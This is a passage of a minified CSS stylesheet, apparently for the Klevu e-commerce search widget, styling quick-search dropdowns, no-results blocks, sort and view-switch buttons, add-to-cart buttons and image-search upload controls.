.klevuQuickProductDesc { 8055 display: none 8056 } 8057 } 8058 8059 @media only screen and (max-width:420px) { 8060 .klevuTarget.klevu-fluid>div { 8061 max-width: 100% 8062 } 8063 } 8064 8065 .searchRequestLoading .klevuQuickSearchingArea { 8066 opacity: .6; 8067 pointer-events: none 8068 } 8069 8070 .searchRequestLoading .klevuQuickSearchingArea::after { 8071 content: url("https://js.klevu.com/klevu-js-v1/img/klevu-loader.GIF"); 8072 position: absolute; 8073 margin-left: 45%; 8074 top: 12px 8075 } 8076 8077 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer [ku-container][data-container-role="left"] { 8078 width: 100%; 8079 max-width: 100% 8080 } 8081 8082 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer .kuPopularSearchesBlock { 8083 margin-bottom: 8px 8084 } 8085 8086 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer .kuRecentSearchesBlock { 8087 margin-bottom: 8px 8088 } 8089 8090 .kuRecommendationSlider { 8091 display: none 8092 } 8093 8094 .kuRecommendationSlider .klevuProductItemTop .klevuQuickImgWrap { 8095 float: none; 8096 overflow: hidden; 8097 width: 100% !important; 8098 height: 155px !important; 8099 text-align: center; 8100 margin: 0 auto; 8101 position: relative; 8102 box-sizing: border-box; 8103 padding: 0; 8104 border: 1px solid #eee; 8105 max-height: 155px !important 8106 } 8107 8108 .kuEmptySearchBox.kuPersonalizedSearchRecsEnabled .kuRecommendationSlider { 8109 display: block 8110 } 8111 8112 .kuSearchPersonalizationsContainer { 8113 height: 40px 8114 } 8115 8116 .kuSearchPersonalizationsContainer * { 8117 visibility: hidden 8118 } 8119 8120 .kuEmptySearchBox .kuSearchPersonalizationsContainer { 8121 height: auto 8122 } 8123 8124 .kuEmptySearchBox .kuSearchPersonalizationsContainer * { 8125 visibility: unset 8126 } 8127 8128 .kuEmptySearchBox.klevuTarget.kuPersonalizedSearchRecsEnabled .klevuQuickSearchingArea { 8129 padding: 6px 9px 8130 } 8131 8132 .kuEmptySearchBox.klevuTarget.kuPersonalizedSearchRecsEnabled .klevuProductItemTop { 8133 width: 100%; 8134 display: block; 8135 float: none 8136 } 8137 8138 .kuEmptySearchBox.klevuTarget.kuPersonalizedSearchRecsEnabled .klevuProductItemBottom { 8139 width: 100%; 8140 display: block; 8141 float: none 8142 } 8143 8144 .kuEmptySearchBox.klevuTarget.kuPersonalizedSearchRecsEnabled .klevuResultsBlock .klevuSuggestionHeading { 8145 padding: 10px 3px 8146 } 8147 8148 .kuEmptySearchBox.klevuTarget.kuPersonalizedSearchRecsEnabled .klevuResultsBlock .klevuProductItemBottom { 8149 font-size: 12px; 8150 color: #666 8151 } 8152 8153 .kuEmptySearchBox.klevuTarget.kuPersonalizedSearchRecsEnabled .kuRecentSearchTerms { 8154 border: 0 8155 } 8156 8157 .kuEmptySearchBox.klevuTarget.kuPersonalizedSearchRecsEnabled .kuPopularSearchTerms { 8158 b
8158order: 0 8159 } 8160 8161 @media only screen and (max-width:767px) { 8162 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled [ku-container][data-container-role="left"] { 8163 width: 100%; 8164 padding-right: 0 8165 } 8166 8167 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled [ku-container][data-container-role="right"] { 8168 width: 100%; 8169 padding-right: 0 8170 } 8171 8172 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled>div { 8173 max-width: 85% 8174 } 8175 } 8176 8177 .klevuTarget.klevu-fluid.kuEmptySearchBox>div { 8178 min-width: 38% !important 8179 } 8180 8181 .kuDropdown.kuQuickFacetedLayoutSort { 8182 display: inline-block; 8183 float: right; 8184 min-width: 75px; 8185 padding-top: 10px; 8186 text-align: center 8187 } 8188 8189 .klevuResultsBlock .klevuQuickSearchResults ul:before { 8190 content: ''; 8191 width: 100%; 8192 display: block; 8193 height: 0; 8194 background: 0 8195 } 8196 8197 .kuQuickSearchResultsContainer .kuResultsHeadingTitleContainer { 8198 padding: 8px 10px; 8199 border-bottom: 1px solid #eee 8200 } 8201 8202 .klevu-banner-ad { 8203 clear: both; 8204 text-align: center; 8205 width: 100%; 8206 padding: 8px; 8207 -webkit-box-sizing: border-box; 8208 -moz-box-sizing: border-box; 8209 box-sizing: border-box 8210 } 8211 8212 .klevu-banner-ad img { 8213 display: inline-block; 8214 width: auto; 8215 max-width: 100%; 8216 max-height: 100% 8217 } 8218 8219 .kuPopularSearchTerms ul { 8220 margin: 0; 8221 padding: 0; 8222 text-align: left 8223 } 8224 8225 .kuPopularSearchTerms li { 8226 display: block; 8227 list-style: none; 8228 margin: 0; 8229 text-transform: capitalize; 8230 cursor: default; 8231 text-align: left 8232 } 8233 8234 .kuPopularSearchTerms li a { 8235 display: block; 8236 padding: 5px; 8237 line-height: 14px; 8238 color: #333; 8239 text-decoration: none; 8240 font-size: 13px 8241 } 8242 8243 .kuPopularSearchTerms li:hover { 8244 background-color: #f5f5f5 8245 } 8246 8247 .kuRecentSearchTerms ul { 8248 margin: 0; 8249 padding: 0; 8250 text-align: left 8251 } 8252 8253 .kuRecentSearchTerms li { 8254 display: block; 8255 list-style: none; 8256 margin: 0; 8257 text-transform: capitalize; 8258 cursor: default; 8259 text-align: left 8260 } 8261 8262 .kuRecentSearchTerms li a { 8263 display: block; 8264 padding: 5px; 8265 line-height: 14px; 8266 color: #333; 8267 text-decoration: none; 8268 font-size: 13px 8269 } 8270 8271 .kuRecentSearchTerms li:hover { 8272 background-color: #f5f5f5 8273 } 8274 8275 .kuQuickSearchNoRecordFound { 8276 text-align: center; 8277 margin-top: 4%; 8278 margin-bottom: 4%; 8279 color: #333; 8280 font-size: 13px; 8281 background: #FFF; 8282 display: block 8283 } 8284 8285 .kuQuickSearchNoRecordFound .klevuQuickPriceGreyText { 8286 font-weight: normal !important; 8287 color: #393939 !important; 8288 font-size: 11px !important 8289 } 8290 8291 .kuQuickSearchNoRecordFound .kuQuickNoResults { 8292 max-width: 90%; 8293 margin: auto; 8294 text-align: justify 8295 } 8296 8297 .kuQuickSearchNoRecordFound .kuQuickNoResultsMessage { 8298 display: block; 8299 text-align: center; 8300 line-height: 14px; 8301 color: #333; 8302 text-decoration: none; 8303 font-size: 13px 8304 } 8305 8306 .kuQuickSearchNoRecordFound .kuDividerLine { 8307 margin: 10px 0; 8308 border-bottom: #ccc 1px solid; 8309 width: 100% 8310 } 8311 8312 .kuQuickSearchNoRecordFound .klevu-no-results-banner-ad-quick { 8313 clear: both; 8314 text-align: center; 8315 width: 100%; 8316 padding: 8px; 8317 -webkit-box-sizing: border-box; 8318 -moz-box-sizing: border-box; 8319 box-sizing: border-box 8320 } 8321 8322 .kuQuickSearchNoRecordFound .klevu-no-results-banner-ad-quick img { 8323 display: inline-block; 8324 width: auto; 8325 max-width: 100%; 8326 max-height: 100% 8327 } 8328 8329 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuPopularProductsViewAll { 8330 display: inline-block; 8331 position: absolute; 8332 top: 12px; 8333 right: 12px 8334 } 8335 8336 .kuQuickSearchNoRecordFound .kuNoResultsPopularSearchHeading { 8337 text-transform: uppercase; 8338 padding-bottom: 10px; 8339 text-align: left 8340 } 8341 8342 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuPopularProductsViewAll a { 8343 color: #333; 8344 font-weight: normal; 8345 text-decoration: none; 8346 text-transform: uppercase; 8347 font-size: 10px; 8348 cursor: pointer; 8349 border-bottom: 2px solid #CCC; 8350 padding: 2px 0 8351 } 8352 8353 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular { 8354 position: relative; 8355 margin: 0; 8356 padding: 0; 8357 box-sizing: border-box 8358 } 8359 8360 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul { 8361 margin: 0; 8362 padding-left: 0; 8363 text-align: left 8364 } 8365 8366 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul li { 8367 display: block; 8368 width: 100%; 8369 height: auto; 8370 text-align: left; 8371 position: relative; 8372 border-bottom: 1px solid #ddd 8373 } 8374 8375 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul li a.klevuQuickPopularProductInnerBlock { 8376 text-decoration: none; 8377 color: #333; 8378 outline: 0; 8379 display: block; 8380 padding: 8px; 8381 height: auto; 8382 line-height: 20px 8383 } 8384 8385 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul li .klevuQuickPopularProductDescBlock { 8386 float: left; 8387 width: 100%; 8388 margin-left: 8px 8389 } 8390 8391 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul li .klevuQuickProductName { 8392 font-weight: bold; 8393 color: #333; 8394 word-wrap: break-word 8395 } 8396 8397 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul li .klevuQuickProductDesc { 8398 color: #333 8399 } 8400 8401 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul li .klevuQuickSalePrice { 8402 font-weight: bold; 8403 margin-bottom: 5px; 8404 color: #333 8405 } 8406 8407 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul li .klevuQuickOrigPrice { 8408 margin-left: 5px; 8409 text-decoration: line-through; 8410 color: #333 8411 } 8412 8413 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul li:hover { 8414 background-color: #f5f5f5 8415 } 8416 8417 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular ul li:hover .klevuQuickSearchNoResultsPopular ul li div { 8418 color: #fff !important 8419 } 8420 8421 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular .klevuPopularProductItemTop { 8422 margin: 0; 8423 box-sizing: border-box; 8424 float: left; 8425 padding: 5px; 8426 position: relative; 8427 width: 20% 8428 } 8429 8430 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular .klevuPopularProductItemBottom { 8431 margin: 0; 8432 box-sizing: border-box; 8433 padding: 5px; 8434 position: relative; 8435 min-height: 60px; 8436 float: left; 8437 width: 80% 8438 } 8439 8440 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular .klevuPopularProductItemBottom .klevu-desc-l2 { 8441 color: #8a8a8a; 8442 font-size: 13px 8443 } 8444 8445 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular .klevuQuickImgWrap { 8446 float: none; 8447 overflow: hidden; 8448 width: 100% !important; 8449 height: 70px !important; 8450 text-align: center 8451 } 8452 8453 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular img { 8454 max-width: 100% !important; 8455 max-height: 100% !important; 8456 width: auto; 8457 height: auto; 8458 border: 0; 8459 outline: 0; 8460 display: inline-block; 8461 margin: 0 auto; 8462 opacity: 1 8463 } 8464 8465 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular .klevuQuickDiscountBadge { 8466 background: #ffcc01; 8467 padding: 0 5px; 8468 color: #333; 8469 font-size: 9px; 8470 position: absolute; 8471 top: 6px; 8472 left: 4px 8473 } 8474 8475 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickSearchNoResultsPopular .klevuQuickDiscountBadge strong { 8476 color: #333 8477 } 8478 8479 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickNoResults { 8480 text-align: center; 8481 font-size: 13px; 8482 padding: 0 8483 } 8484 8485 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickNoResults .klevuQuickNoResultsInner { 8486 padding: 15px; 8487 margin: 0 8488 } 8489 8490 .kuQuickSearchNoRecordFound .klevuNoResultsProductsBlock .klevuQuickNoResultsMessage { 8491 background: transparent; 8492 font-size: 13px; 8493 padding: 20px; 8494 text-align: center; 8495 border: 0 8496 } 8497 8498 .kuQuickSearchNoRecordFound .searchRequestLoading .klevuQuickSearchingArea { 8499 opacity: .6; 8500 pointer-events: none 8501 } 8502 8503 .kuQuickSearchNoRecordFound .klevuPopularProductsHeading { 8504 text-align: left; 8505 padding: 8px 15px; 8506 text-transform: uppercase 8507 } 8508 8509 .kuQuickSearchNoRecordFound .kuNoResultsContainer { 8510 max-width: 100% 8511 } 8512 8513 .kuQuickSearchNoRecordFound .kuNoResultsPopularSearchesBlock { 8514 padding: 10px 8515 } 8516 8517 .kuQuickSearchNoRecordFound .kuNoResultsPopularSearchTerms ul { 8518 margin: 0; 8519 padding: 0 3px; 8520 text-align: left 8521 } 8522 8523 .kuQuickSearchNoRecordFound .kuNoResultsPopularSearchTerms li { 8524 display: block; 8525 list-style: none; 8526 margin: 0; 8527 text-transform: capitalize; 8528 cursor: pointer; 8529 text-align: left 8530 } 8531 8532 .kuQuickSearchNoRecordFound .kuNoResultsPopularSearchTerms li:hover { 8533 background-color: #f5f5f5 8534 } 8535 8536 .kuQuickSearchNoRecordFound .kuNoResultsPopularSearchTerms li a { 8537 display: block; 8538 padding: 5px; 8539 line-height: 14px; 8540 color: #333; 8541 text-decoration: none; 8542 font-size: 13px 8543 } 8544 8545 @media only screen and (max-width:1024px) { 8546 .kuQuickSearchNoRecordFound .klevuTarget.klevu-fluid>div { 8547 width: 50% 8548 } 8549 8550 .kuQuickSearchNoRecordFound .klevuQuickSearchNoResultsPopular .klevuQuickImgWrap { 8551 height: 55px !important 8552 } 8553 } 8554 8555 @media only screen and (max-width:767px) { 8556 .kuQuickSearchNoRecordFound .klevuTarget.klevu-fluid>div { 8557 max-width: 400px; 8558 width: 70% 8559 } 8560 } 8561 8562 @media only screen and (max-width:480px) { 8563 .kuQuickSearchNoRecordFound .klevuTarget.klevu-fluid>div { 8564 width: 98%; 8565 left: 1% !important 8566 } 8567 8568 .kuQuickSearchNoRecordFound .klevu-fluid .klevuQuickSearchNoResultsPopular ul li .klevuQuickProductDesc { 8569 display: none 8570 } 8571 } 8572 8573 @media only screen and (max-width:420px) { 8574 .kuQuickSearchNoRecordFound .klevuTarget.klevu-fluid>div { 8575 max-width: 100% 8576 } 8577 } 8578 8579 .kuCaptionStockIn { 8580 font-size: 11px; 8581 color: green; 8582 display: inline-block; 8583 padding: 0; 8584 float: left; 8585 width: 100%; 8586 box-sizing: border-box; 8587 margin: 2px 0 8588 } 8589 8590 .kuQuickCaptionStockOut { 8591 font-size: 11px; 8592 color: Red; 8593 display: inline-block; 8594 padding: 0; 8595 float: left; 8596 min-height: 30px; 8597 width: 100%; 8598 box-sizing: border-box; 8599 margin: 2px 0 8600 } 8601 8602 .kuQuickSearchResultsContainer .kuCaptionVat { 8603 display: block; 8604 font-size: 11px; 8605 color: #767676; 8606 width: 100%; 8607 float: left; 8608 margin: 0; 8609 padding: 0; 8610 box-sizing: border-box; 8611 margin: 2px 0 8612 } 8613 8614 .kuQuickSearchFacetedLayout .productListActive [data-content="cmsCompressed"] { 8615 display: none !important 8616 } 8617 8618 .kuQuickSearchFacetedLayout .cmsCompressedActive [data-content="productList"] { 8619 display: none !important 8620 } 8621 8622 .kuQuickSearchFacetedLayout .kuContainer { 8623 width: 100%; 8624 margin: 0 auto; 8625 font-family: inherit; 8626 font-size: 12px; 8627 -moz-box-sizing: border-box; 8628 -webkit-box-sizing: border-box; 8629 box-sizing: border-box; 8630 width: 100% !important; 8631 padding: 0 !important 8632 } 8633 8634 .kuQuickSearchFacetedLayout .kuContainer .kuTabs { 8635 margin: 0 auto !important; 8636 text-align: center; 8637 border-bottom: 1px solid #eee 8638 } 8639 8640 .kuQuickSearchFacetedLayout .kuContainer .kuTabs a { 8641 padding: 8px; 8642 cursor: pointer; 8643 margin-right: 5px; 8644 color: #333; 8645 display: inline-block; 8646 position: relative 8647 } 8648 8649 .kuQuickSearchFacetedLayout .kuContainer .kuTabs a:hover { 8650 border-bottom: 3px solid #ddd; 8651 text-decoration: none 8652 } 8653 8654 .kuQuickSearchFacetedLayout .kuContainer .kuTabs a.kuTabSelected { 8655 border-bottom: 3px solid #ddd 8656 } 8657 8658 .kuQuickSearchFacetedLayout .kuContainer .kuTabs a.kuTabSelected:hover { 8659 background: 0 8660 } 8661 8662 .kuQuickSearchFacetedLayout .kuSort { 8663 display: inline-block; 8664 margin: 0; 8665 height: 15px; 8666 width: 15px; 8667 background-repeat: no-repeat !important 8668 } 8669 8670 .kuQuickSearchFacetedLayout .kuSort.kuQuickRelSort { 8671 background: url(https://js.klevu.com/klevu-js-v1/img-1-1/klevu-relevance.png) no-repeat 0 0; 8672 cursor: pointer; 8673 margin-right: 2px 8674 } 8675 8676 .kuQuickSearchFacetedLayout .kuSort.kuQuickRelSort:hover { 8677 background-position: 0 -17px 8678 } 8679 8680 .kuQuickSearchFacetedLayout .kuSort.kuActiveSort { 8681 background-position: 0 -17px 8682 } 8683 8684 .kuQuickSearchFacetedLayout .kuSort.kuQuickLTHSort { 8685 background: url(https://js.klevu.com/klevu-js-v1/img-1-1/klevu-p-low-to-high.png) no-repeat 0 0; 8686 cursor: pointer; 8687 margin-right: -4px 8688 } 8689 8690 .kuQuickSearchFacetedLayout .kuSort.kuQuickHTLSort { 8691 background: url(https://js.klevu.com/klevu-js-v1/img-1-1/klevu-p-high-to-low.png) no-repeat 0 0; 8692 cursor: pointer 8693 } 8694 8695 .kuQuickSearchFacetedLayout .kuSort.kuQuickHTLSort.kuActiveSort { 8696 background-position: 0 -17px 8697 } 8698 8699 .kuQuickSearchFacetedLayout .kuSort.kuQuickHTLSort.kuActiveSort:hover { 8700 background-position: 0 -17px 8701 } 8702 8703 .kuQuickSearchFacetedLayout .kuSort.kuQuickLTHSort.kuActiveSort { 8704 background-position: 0 -17px 8705 } 8706 8707 .kuQuickSearchFacetedLayout .kuSort.kuQuickLTHSort.kuActiveSort:hover { 8708 background-position: 0 -17px 8709 } 8710 8711 .kuQuickSearchFacetedLayout .kuSort:hover { 8712 background-position: 0 -17px 8713 } 8714 8715 .kuQuickSearchFacetedLayout .kuQuickResultsViewSwitchContainer { 8716 display: inline-block; 8717 float: left 8718 } 8719 8720 .kuQuickSearchFacetedLayout .kuDropdown.kuQuickFacetedLayoutSort { 8721 float: left; 8722 display: inline-block; 8723 float: right 8724 } 8725 8726 .kuQuickResultsViewSwitchContainer { 8727 position: relative; 8728 display: inline-block; 8729 z-index: 11; 8730 width: auto; 8731 padding: 10px 5px 8732 } 8733 8734 .kuQuickResultsViewSwitchContainer a { 8735 display: inline-block; 8736 width: 22px; 8737 height: 22px; 8738 margin-left: 4px;
8739 text-align: center; 8740 vertical-align: middle; 8741 overflow: hidden 8742 } 8743 8744 .kuQuickResultsViewSwitchContainer a.kuCurrent { 8745 background-position: 0 -25px; 8746 text-decoration: none 8747 } 8748 8749 .kuQuickResultsViewSwitchContainer .kuGridViewBtn { 8750 background: url(https://js.klevu.com/klevu-js-v1/img-1-1/ku-gridview.png) no-repeat 0 0; 8751 cursor: pointer 8752 } 8753 8754 .kuQuickResultsViewSwitchContainer .kuListViewBtn { 8755 background: url(https://js.klevu.com/klevu-js-v1/img-1-1/ku-listview.png) no-repeat 0 0; 8756 cursor: pointer 8757 } 8758 8759 [data-result-view='list'] .klevuProduct { 8760 width: 100% !important 8761 } 8762 8763 [data-result-view='list'] .klevuProduct:hover .kuProdAdditional { 8764 box-shadow: none !important 8765 } 8766 8767 [data-result-view='list'] .klevuProduct main { 8768 display: inline-block; 8769 width: 30% 8770 } 8771 8772 [data-result-view='list'] .klevuProduct footer { 8773 display: inline-block; 8774 width: 69% 8775 } 8776 8777 [data-result-view='list'] .klevuProduct .kuProdAdditional { 8778 position: relative !important; 8779 visibility: unset !important; 8780 border: 0 !important 8781 } 8782 8783 [data-result-view='list'] .klevuProduct .kuAddtocart .kuBtn { 8784 display: inline-block 8785 } 8786 8787 @media only screen and (max-width:576px) { 8788 [data-result-view='list'] .klevuProduct main { 8789 width: 100% 8790 } 8791 8792 [data-result-view='list'] .klevuProduct footer { 8793 width: 100% 8794 } 8795 8796 [data-result-view='list'] .klevuProduct .kuAddtocart .kuBtn { 8797 display: block 8798 } 8799 } 8800 8801 .klevuResultsBlock .klevuQuickSearchResults .klevuQuickAddtoCart { 8802 margin: 0; 8803 position: absolute; 8804 display: inline-block; 8805 bottom: 10px; 8806 right: 5px; 8807 width: auto 8808 } 8809 8810 .klevuResultsBlock .klevuQuickSearchResults .klevuQuickAddtoCart .kuBtn { 8811 padding: 3px 6px; 8812 font-size: 9px !important 8813 } 8814 8815 .klevuResultsBlock .klevuQuickSearchResults .klevuQuickAddtoCart img { 8816 max-width: 80px !important; 8817 height: auto; 8818 max-height: 45px !important 8819 } 8820 8821 .klevuQuickSearchNoResultsPopular .klevuQuickAddtoCart { 8822 margin: 0; 8823 position: absolute; 8824 display: inline-block; 8825 bottom: 10px; 8826 right: 5px; 8827 width: auto 8828 } 8829 8830 .klevuQuickSearchNoResultsPopular .klevuQuickAddtoCart .kuBtn { 8831 padding: 3px 6px; 8832 font-size: 9px !important 8833 } 8834 8835 .klevuQuickSearchNoResultsPopular .klevuQuickAddtoCart img { 8836 max-width: 80px !important; 8837 height: auto; 8838 max-height: 45px !important 8839 } 8840 8841 .kuQuickSearchFacetedLayout .klevuQuickSearchResults .klevuQuickAddtoCart { 8842 margin: 0; 8843 position: absolute; 8844 display: inline-block; 8845 bottom: 15px; 8846 right: 5px; 8847 width: auto; 8848 visibility: hidden; 8849 opacity: 0 8850 } 8851 8852 .kuQuickSearchFacetedLayout .klevuResultsBlock .klevuQuickSearchResults ul li:hover .klevuQuickAddtoCart { 8853 visibility: visible; 8854 opacity: 1 8855 } 8856 8857 .kuQuickSearchFacetedLayout .kuPriceSlider { 8858 width: auto; 8859 min-width: 190px; 8860 max-width: 98%; 8861 padding: 20px; 8862 margin: auto; 8863 position: relative; 8864 box-sizing: border-box 8865 } 8866 8867 .kuQuickSearchFacetedLayout .kuPriceSlider .noUi-tooltip { 8868 font-size: 90% 8869 } 8870 8871 .kuQuickSearchFacetedLayout .sliderFilterNames { 8872 height: 90px 8873 } 8874 8875 .kuQuickSearchFacetedLayout .kuInfiniteScrollContainer { 8876 text-align: center 8877 } 8878 8879 .kuQuickSearchFacetedLayout .kuInfiniteScrollContainer .kuLoadMoreBtn { 8880 width: 100%; 8881 margin: 12px 0; 8882 height: 34px; 8883 border: 0; 8884 border-radius: 2px; 8885 cursor: pointer 8886 } 8887 8888 .kuQuickSearchFacetedLayout .kuInfiniteScrollContainer .kuLoadMoreBtn.hide { 8889 display: none !important 8890 } 8891 8892 .kuQuickSearchFacetedLayout .klevuProductLoadMore { 8893 width: 100% !important; 8894 min-height: 40px !important; 8895 border: none !important 8896 } 8897 8898 .kuQuickSearchFacetedLayout .klevuProductLoadMore:hover { 8899 background-color: transparent !important 8900 } 8901 8902 .kuQuickSearchFacetedLayout .klevuProductLoadMore.hide { 8903 display: none !important 8904 } 8905 8906 .kuImageSearchSelector { 8907 cursor: pointer 8908 } 8909 8910 .kuImageSearchSelector::before { 8911 content: url(data:image/svg+xml,%3Csvg%20width%3D%2216%22%20height%3D%2214%22%20viewBox%3D%220%200%2016%2014%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%20%20%20%20%3Cpath%20d%3D%22M11.7692%203.18182L11.0154%201.6C10.8538%201.21818%2010.4769%201%2010.0462%201H6.00769C5.57692%201%205.2%201.21818%205.03846%201.6L4.23077%203.18182H2.07692C1.48462%203.18182%201%203.67273%201%204.27273V11.9091C1%2012.5091%201.48462%2013%202.07692%2013H13.9231C14.5154%2013%2015%2012.5091%2015%2011.9091V4.27273C15%203.67273%2014.5154%203.18182%2013.9231%203.18182H11.7692Z%22%20stroke%3D%22%23666666%22%20stroke-miterlimit%3D%2210%22%20stroke-linejoin%3D%22round%22%2F%3E%0A%20%20%20%20%3Cpath%20d%3D%22M8.00006%2010.8182C9.78436%2010.8182%2011.2308%209.35291%2011.2308%207.54543C11.2308%205.73795%209.78436%204.27271%208.00006%204.27271C6.21575%204.27271%204.76929%205.73795%204.76929%207.54543C4.76929%209.35291%206.21575%2010.8182%208.00006%2010.8182Z%22%20stroke%3D%22%23666666%22%20stroke-miterlimit%3D%2210%22%20stroke-linejoin%3D%22round%22%2F%3E%0A%20%20%20%20%3Cpath%20d%3D%22M2.07703%204.81812H3.69241%22%20stroke%3D%22%23666666%22%20stroke-miterlimit%3D%2210%22%20stroke-linejoin%3D%22round%22%2F%3E%0A%20%20%20%20%3C%2Fsvg%3E); 8912 display: inline-block; 8913 width: 16px; 8914 margin-left: 10px; 8915 cursor: pointer 8916 } 8917 8918 .klevuTarget.klevu-fluid.kuEmptySearchBox .kuQuickImageSearchWra
8918p, 8919 .klevuTarget.kuQuickSearchFacetedLayout .kuQuickImageSearchWrap, 8920 .klevuTarget.kuQuickSearchResultsContainer .kuQuickImageSearchWrap, 8921 .klevuTarget.kuPersonalizedSearchRecsEnabled .kuQuickImageSearchWrap, 8922 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled .kuQuickImageSearchWrap, 8923 .klevuTarget .kuQuickImageSearchWrap { 8924 max-width: 400px !important; 8925 min-width: auto !important; 8926 width: 100% !important 8927 } 8928 8929 .kuQuickSearchImageUploadContainer { 8930 max-width: 400px !important 8931 } 8932 8933 .kuQuickSearchImageUploadContainer .klevuQuickSearchingArea { 8934 padding: 1rem !important 8935 } 8936 8937 .kuQuickSearchImageUploadContainer .kuImageUploadErrorMsgContainer p { 8938 color: red; 8939 margin: 0; 8940 font-size: 12px 8941 } 8942 8943 .kuQuickSearchImageUploadContainer .kuQuickUploadImageBtn { 8944 width: 100%; 8945 margin: 20px 0; 8946 text-align: center; 8947 padding: 10px; 8948 border-width: 0; 8949 background-color: #343420; 8950 color: #fff; 8951 cursor: pointer 8952 } 8953 8954 .kuQuickSearchImageUploadContainer .kuQuickUploadImageBtn .kuUploadText::before { 8955 display: inline-block; 8956 width: 16px; 8957 margin-right: 5px; 8958 cursor: pointer 8959 } 8960 8961 .kuQuickSearchImageUploadContainer .kuQuickUploadImageBtn .kuUploadText.upload::before { 8962 content: url(data:image/svg+xml,%3Csvg%20width%3D%2210%22%20height%3D%2211%22%20viewBox%3D%220%200%2010%2011%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Cpath%20d%3D%22M0.333333%207.95508C0.149%207.95508%200%208.10441%200%208.28841V10.3327C0%2010.5167%200.149%2010.6661%200.333333%2010.6661H9.66667C9.851%2010.6661%2010%2010.5167%2010%2010.3327V8.28841C10%208.10441%209.851%207.95508%209.66667%207.95508C9.48233%207.95508%209.33333%208.10441%209.33333%208.28841V9.99941H0.666667V8.28841C0.666667%208.10441%200.517667%207.95508%200.333333%207.95508Z%22%20fill%3D%22white%22%2F%3E%0A%3Cpath%20d%3D%22M5.01445%208.62233C5.19878%208.62233%205.34778%208.473%205.34778%208.289V1.119L7.46211%203.16133C7.52645%203.224%207.61011%203.255%207.69345%203.255C7.78078%203.255%207.86778%203.221%207.93311%203.15333C8.06111%203.021%208.05745%202.81%207.92511%202.682L5.25078%200.0983334C5.25045%200.098%205.25045%200.0980001%205.25011%200.0976667L5.24578%200.0936667C5.23378%200.082%205.21878%200.077%205.20578%200.0676667C5.18445%200.0523334%205.16478%200.0353334%205.14045%200.0253334C5.10245%200.00966674%205.06211%200.00233355%205.02145%200.00133355C5.01911%200.00133355%205.01678%200%205.01445%200C5.01211%200%205.00978%200.00133355%205.00745%200.00133355C4.96678%200.00233355%204.92678%200.00966674%204.88845%200.0253334C4.86411%200.0353334%204.84445%200.0523335%204.82312%200.0673335C4.81012%200.0770002%204.79511%200.082%204.78311%200.0936667L4.77911%200.0973333C4.77878%200.0976666%204.77878%200.0976669%204.77845%200.0980002L2.10412%202.68167C1.97178%202.80967%201.96812%203.02067%202.09612%203.153C2.22345%203.28533%202.43545%203.28933%202.56711%203.161L4.68145%201.11867V8.28867C4.68111%208.473%204.83011%208.62233%205.01445%208.62233Z%22%20fill%3D%22white%22%2F%3E%0A%3C%2Fsvg%3E) 8963 } 8964 8965 .kuQuickSearchImageUploadContainer .kuQuickUploadImageBtn .kuUploadText.processing::before { 8966 position: absolute; 8967 margin-left: -20px; 8968 content: 